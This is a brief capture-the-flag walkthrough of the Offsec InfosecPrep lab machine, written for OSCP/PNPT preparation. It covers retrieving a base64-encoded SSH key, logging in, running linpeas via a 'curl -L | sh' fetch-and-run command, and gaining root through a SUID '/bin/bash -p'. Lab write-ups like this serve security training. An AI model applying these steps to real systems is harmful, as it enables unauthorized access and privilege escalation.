Offsec: InfosecPrep Walkthru

This is my first mashine from Offsec regarding for PNPT and OSCP preparation. Recently I try to produce more content and get again more in preparation for the exams.

First of all we start with our basic NMAP-Scan:

We see port 80 is open with an Apache-Webserver running, so there must be a webpage. We find a basic wordpress webpage. I tried some basic login attempts on the wp-admin page but I guess this is a rabbit-hole.

After checking the robots.txt it leads us to the file secrets.txt. In this file we find a base64 encrypted text. I saved this to my vm and decrypted it.

cat secrets.txt |base64 -d

We get an ssh-key from the encrypted text, so we can try to login to the mashine. (export the ssh-key into a file and set the right permissions.)

ssh -i id_rsa [email protected]

And we are logged in as user oscp and can provide the user flag.

Now we need to elevate our privileges to root. For this we run linpeas from the /tmp directory.

curl -L | sh

As we can see in the results /bin/bash is owned by the root user. We can use this for advantage.

For this we simply run /bin/bash in the privileged mode.

/bin/bash -p

After this we are root and can provide the final flag.

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